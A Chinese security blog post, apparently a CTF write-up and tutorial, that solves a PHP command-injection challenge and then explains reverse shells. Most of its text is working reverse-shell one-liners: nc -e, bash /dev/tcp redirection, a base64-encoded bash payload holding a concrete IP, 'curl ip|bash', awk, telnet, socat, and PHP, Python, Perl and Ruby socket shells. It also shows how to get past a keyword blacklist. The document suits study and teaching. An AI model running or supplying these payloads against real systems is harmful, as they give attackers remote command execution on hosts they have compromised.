4

从一道题学习反弹shell

 1 year ago
source link: https://blog.51cto.com/u_15576159/5844945
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

从一道题学习反弹shell

精选 原创

LinkSLA 2022-11-11 14:58:38 博主文章分类:技术干货 ©著作权

文章标签 bash 目标机 重定向 文章分类 其它 系统/运维 阅读数284

常见的反弹Shell语句原理
Nc
Bash
awk
Curl结合Bash进行反弹shell
Talent
Socat
脚本类反弹shell

最近在帮一位大师傅测试招新赛的时候,发现自己对反弹shell是不太了解的,因此在用反弹shell解题过后,来对反弹shell进行相关学习,希望对各位师傅有所帮助。

首先这里给出题目代码

<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
if(!preg_match("/\;|\&|\\$|\x09|\x26|\`|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
shell_exec($cmd);
}
else{
echo "NoNoNo";
}
}else{
highlight_file(__FILE__);
}
?>

这里可以看出是命令执行类的题目,但是一些关键词被ban了,例如​​php​​被ban,因此这里的话想用​​PHP://​​伪协议读取flag就不行了,想写一句话木马的话虽然可以用​​=​​代替php,但因为这里​​$​​了,所以也不行,那么这里的思路我的话感觉是还有两种,一种是利用重定向符,他这里输出是无回显的,我们可以把他写到一个文件中,然后访问这个文件来查看回显,因此payload如下

cmd=ls />a

接下来访问​​xxx/a​​(flag在这里,截图的时候没注意,导致没把flag截出来)

从一道题学习反弹shell_重定向

此时发现flag在根目录下,再用一下查看文件的命令重定向到a,本来是这样就可以了,但是这里我们发现ban了​​flag​​关键字,所以没办法直接​​cat flag >a​​,但是我们知道还有通配符,​​f*​​可以表示​​flag​​,因此payload如下

cmd=cat /f*>a
从一道题学习反弹shell_目标机_02

还有一种方法,就是我想说的方法了,即反弹Shell,反弹Shell这个我之前用的都是nc命令,这里我构造payload如下来尝试反弹Shell

cmd=nc -e ip/port 7777

但是没有反弹上来,可能是缺少了nc环境
因此这里的话只好再找另一个语句,后来想到用这个语句​​bash -i>& /dev/tcp/xxx.xxx.xxx.xxx/7777 0>&1​​,但是这里ban了​​&​​,导致我们不能够直接进行反弹shell,这个时候看到​​curl​​没有被ban,我们可以利用curl来实现(原理后面讲,这里先说一下利用方式),具体如下

curl xxx:xxx:xxx:xxx:port|bash

而我们的服务器下的内容为

bash -i>& /dev/tcp/xxx.xxx.xxx.xxx/7777 0>&1
从一道题学习反弹shell_bash_03

这样就成功绕过了​​&​​同时实现反弹shell。

这里在做的时候需要服务器先监听7777端口,再执行语句

从一道题学习反弹shell_重定向_04

发现flag

从一道题学习反弹shell_bash_05

成功读取flag

反弹shell

什么是反弹shell?
原词为​​reverse shell​​,含义如下

控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。

其本质就是实现客户端与服务端的互换

初学时我们不禁有这样的疑问,为什么我们要用反弹shell呢?我们时候利用反弹shell呢?
解释如下

为什么要用反弹shell

这里不以CTF举例,以相对更真实一点的渗透过程来举例,比如你作为攻击方,成功向目标处上传了木马文件,可以执行一些语句,我们想获取一个可以直接操作主机的虚拟终端,这个时候就需要利用反弹shell了,因为反弹shell后才可以操作主机。这里借用安全客​​myles007​​大师傅的图来展示一下,这样可能会更生动易懂一些

从一道题学习反弹shell_bash_06

那么这个问题解决了,接下来我们看下一个问题

什么时候用反弹shell

我认为的话就是以下两种情况

1、其环境是不稳定的,可能过段时间环境会变好(动态环境)
2、目标机无法接受请求,但是可以发送请求

在一位大师傅的文章中,我学习到了其他利用反弹shell的场景
(引用于https://xz.aliyun.com/t/2549)

1、由于防火墙等限制,对方机器只能发送请求,不能接收请求。
2、它的ip会动态改变,你不能持续控制。
3、某客户机中了你的网马,但是它在局域网内,你直接连接不了。
4、对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

对于场景1来解释一下,就是这个时候,攻击机监听一个端口,目标机主动发送请求给攻击机的这个监听端口,这时候就实现了反弹连接

常见的反弹Shell语句原理

nc,全称是​​Netcat​​,使用的是UDP和TCP协议,它可以相对较简单的建立一些连接,接下来了解一下要用到的参数

-l 使用监听模式,管控传入的资料。
-v 显示指令执行过程。
-n 直接使用IP地址,而不通过域名服务器。
-p<通信端口> 设置本地主机使用的通信端口。

这几个参数常用于监听,也就是攻击机使用的,当目标机主动连接我们的攻击机时,我们需要监听这个端口来实现获取shell,具体指令的话就是

nc -lvnp 7777 //任意端口,没被占用即可(如果不行记得看看防火墙是否开启了对应端口)

接下来还有一个参数,很重要的一个参数,也就是​​-e​​,其解释如下

-e, --exec=PROGRAM program to exec after connect

这个是啥意思呢,其实就是说在连接过后会执行程序,这个是为了我们连接后能够输入指令做准备,它是用于目标机的,由于目标机能够发送请求,所以我们让他通过​​nc​​指令和​​e​​参数,来向攻击机发送请求,把bash(一种shell)给发送出去,这样就实现了反弹shell

攻击机:监听端口7777,指令如下

nc-lvnp 7777
从一道题学习反弹shell_重定向_07

目标机:发送请求,将bash弹给攻击机

nc xxx.xxx.xxx.xxx 7777 -e /bin/bash
从一道题学习反弹shell_目标机_08

可以发现成功连接,可以执行指令。

Bash,全称​​Bourne Again shell​​,是一种shell,我们利用它来进行反弹shell的时候,常见的是将它与重定向符结合,指令如下

bash -i>& /dev/tcp/xxx.xxx.xxx.xxx/7777 0>&1

对于这个该怎么去理解呢
首先我们了解一下​​-i​​参数,​​-i​​的话是指交互模式,那​​bash -i​​的话就是打开一个交互环境
接下来看​​>&​​,拆分来看,先看​​>​​对于linux简单了解一下,可以知道这里的>是重定向符,前面的语句会被写入到后面,比如echo 2>1.txt,这个时候就会将2输出到1.txt文件中

从一道题学习反弹shell_重定向_09

这个时候就知道>的作用了,接下来看一下&
我们知道&是联合字符,相当于and,作用是连接前后,那么这里的话其实就是将前面和后面一起重定向给后面
接下来看这个/dev/tcp/xxx.xxx.xxx.xxx/7777
在linux中,一切都是以文件形式存在的,这里的话就是和xxx这个ip地址的7777端口建立一个tcp连接
接下来看一下0>&1,这里的&有特殊含义,具体如下

这里的& 目的是为了区分数字名字的文件和文件描述符,如果没有&,
系统会认为是将文件描述符重定向到了一个数字作为文件名的文件,而不是一个文件描述

这个0是与前面的攻击机结合的,输入0是由/dev/tcp/xxx.xxx.xxx.xxx/7777输入的,命令执行结果是1,当我们用重定向符​​>​​,写出​​0>&1​​,这就实现了输入输出都在攻击机上。
这个时候的话再来看这个完整语句就比较好理解了

bash -i>& /dev/tcp/xxx.xxx.xxx.xxx/7777 0>&1

先是bash生成交互环境,然后用发起与攻击机7777端口的连接(tcp连接),然后重定向给攻击机端口,而后将标准输出重定向到标准输入中,这就是整个语句的过程。

攻击机,开启监听

nc -lvnp 7777
从一道题学习反弹shell_bash_10

目标机,执行bash语句

bash -i>& /dev/tcp/xxx.xxx.xxx.xxx/7777 0>&1
从一道题学习反弹shell_重定向_11

出现了点bug,百度过后说是因为shell由bash解析,有时候是由zsh或sh解析,所以不一定会执行,但是我试了试发现把它进行base64加密后,这样就可以执行

bash -c '{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEzNC4yMTIuMjI1LjE0Mi83Nzc3IDA+JjEgIA==}|{base64,-d}|{bash,-i}'

解释一下,bash -c参数后接一个指令,然后会执行这个语句
base64解密后就是​​/bin/bash -i >& /dev/tcp/134.212.225.142/7777 0>&1​

从一道题学习反弹shell_bash_12

此时再查看攻击机

从一道题学习反弹shell_目标机_13

成功反弹shell

AWK 是一种处理文本文件的语言,是一个强大的文本分析工具。
这里我们用的话其实也就是用到了一个他的for循环这些基础知识,有兴趣的师傅们可以参考这篇文章来具体的了解awk
 ​https://github.com/mylxsw/growing-up/blob/master/doc​​这里我先将语句列出,而后再进行解释

awk 'BEGIN{s="/inet/tcp/0/IP/Port";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

BEGIN语句块在程序开始的使用执行,它只执行一次,BEGIN中的内容是awk要执行的命令,那么这里的话就是与攻击机的某个端口进行了tcp链接,而后你可以看见是一个for循环,初始化内容为空,然后条件对应的内容是读取s放入变量c中,然后增量是每次关闭c管道。接下来是一个while循环,条件对应的内容是读取c放入$0中,如果满足就输出,否则就关闭s管道

注:参考了很多师傅的博客,但感觉还是理解有点问题,还请各位师傅多多指正

攻击机,开启监听

从一道题学习反弹shell_重定向_14

目标机,调用awk语句,具体如下

awk 'BEGIN{s="/inet/tcp/0/xxx.xxx.xxx.xxx/7777";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
从一道题学习反弹shell_重定向_15

此时再看攻击机

从一道题学习反弹shell_bash_16

成功反弹shell

Curl结合Bash进行反弹shell

这个就是用于绕过的,当目标机存在某些防护过滤了一些字符时,我们可以通过这个来实现反弹shell,语句如下

curl ip|bash

它的话其实就是以bash解析shell,对ip进行curl指令,即请求这个ip,然后我们的这个ip的内容是bash反弹shell的语句,即

bash -i>& /dev/tcp/xxx.xxx.xxx.xxx/7777 0>&1

此时就可以绕过防护且成功反弹shell,这个时候也就应该可以理解上文的绕过方式了

首先上准备一个界面,其内容是bash反弹shell语句

从一道题学习反弹shell_bash_17

然后接下来去监听7777端口

从一道题学习反弹shell_重定向_18

开始curl语句请求对应端口

从一道题学习反弹shell_目标机_19

接下来查看攻击机

从一道题学习反弹shell_bash_20

成功反弹shell,可以执行语句

Talent

Telnet协议是TCP/IP协议族中的一员,是Internet远程登录服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。
这里的话有两种方法,先介绍第一种方式
第一种方式的话
先给出参考payload

telnet xxx.xxx.xxx.xxx port| /bin/bash | telnet xxx.xxx.xxx.xxx port2

这个的话就是用talnet主动连接攻击机的某个端口,然后将输出信息作为bash的输入,即用bash执行其输出信息,接下来用管道符将bash的输出重定向到talnet连接的攻击机的另一个端口下,其实也就是将回显输出到这个端口下了,此时实现了攻击机port端口执行的语句,在port2端口可以看到回显信息

第二种方式
先给出参考payload

mknod a p; telnet xxx.xxx.xxx.xxx port 0<a | bin/bash 1>a

就是创建一个管道a,然后用talent与攻击机的某个端口进行连接,再用重定向将标准输入定向到管道a中,接下来再用管道符​​|​​,将左边的输出作为右边的输入,也就是说用bash执行talent的输出信息,然后1>a,就是将标准输出重定向到a,这个时候就实现了标准输入和输出都在同一个管道下

攻击机
监听两个端口,一个用于执行指令,一个用于查看回显

nc -lvnp 7777
nc -lvnp 6379

从一道题学习反弹shell_重定向_21

从一道题学习反弹shell_重定向_22

用talent发送两个请求,分别请求攻击机的两个端口,一个用于将bash终端发送出去,一个用于获取bash的输出信息

telnet xxx.xxx.xxx.xxx 7777 | /bin/bash | telnet xxx.xxx.xxx.xxx 6379

此时查看攻击机,发现成功连接,执行命令

从一道题学习反弹shell_bash_23

查看另一个端口

从一道题学习反弹shell_bash_24

成功反弹shell

demo2

这个需要是root权限,普通用户没有权限执行mknod命令

攻击机,开启监听

从一道题学习反弹shell_bash_25

目标机,用重定向将输入输出定向到同一个管道中,同时用telent主动连接攻击机

mknod a p; telnet xxx.xxx.xxx.xxx 7777 0<a | /bin/bash 1>a
从一道题学习反弹shell_bash_26
从一道题学习反弹shell_bash_27

Socat

Socat,全称​​Socket CAT​​,其功能类似于​​netcat​​这个的话是我们需要提前安装的,那想要利用这个实现反弹shell的话,就需要目标机有这个环境
这个怎么安装呢,用apt-get install Socat即可
接下来说一下它的思路,其实就是利用Socat向攻击机某个端口发送请求,然后用exec执行语句,得到bash交换环境

攻击机,开启监听

从一道题学习反弹shell_bash_28

目标机,用socat连接ip连接,用exec搭建bash交互环境,执行语句如下

socat tcp-connect:xxx.xxx.xxx.xxx:7777 exec:'bash -li',pty,stderr,setsid,sigint,sane

从一道题学习反弹shell_重定向_29

此时查看攻击机

从一道题学习反弹shell_bash_30

脚本类反弹shell

当目标机存在一些语言环境时,也可以借助对应语言脚本来实现反弹shell,这里给出一些网上常见的反弹shell语句,仅供参考

PHP语言反弹shell

php -r '$sock=fsockopen("IP","Port");exec("/bin/sh -i <&3 >&3 2>&3");'

Python反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",Port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Perl反弹shell

perl -e 'use Socket;$i="IP";$p=Port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

ruby反弹shell

ruby -rsocket -e 'c=TCPSocket.new("IP","Port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

这里的话也是将网络中较常见的反弹shell简单总结了一下,如果有问题的话还请各位师傅多多指教。

 ​https://xz.aliyun.com/t/2549​​https://www.freebuf.com/articles/network/334613.html
https://www.modb.pro/db/421543
https://www.jianshu.com/p/37924017feb1
https://www.freebuf.com/articles/web/247967.html
https://www.anquanke.com/post/id/87017
https://blog.csdn.net/weixin_44288604/article/details/111740527

本文作者:quan9i, 转载请注明来自FreeBuf.COM


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK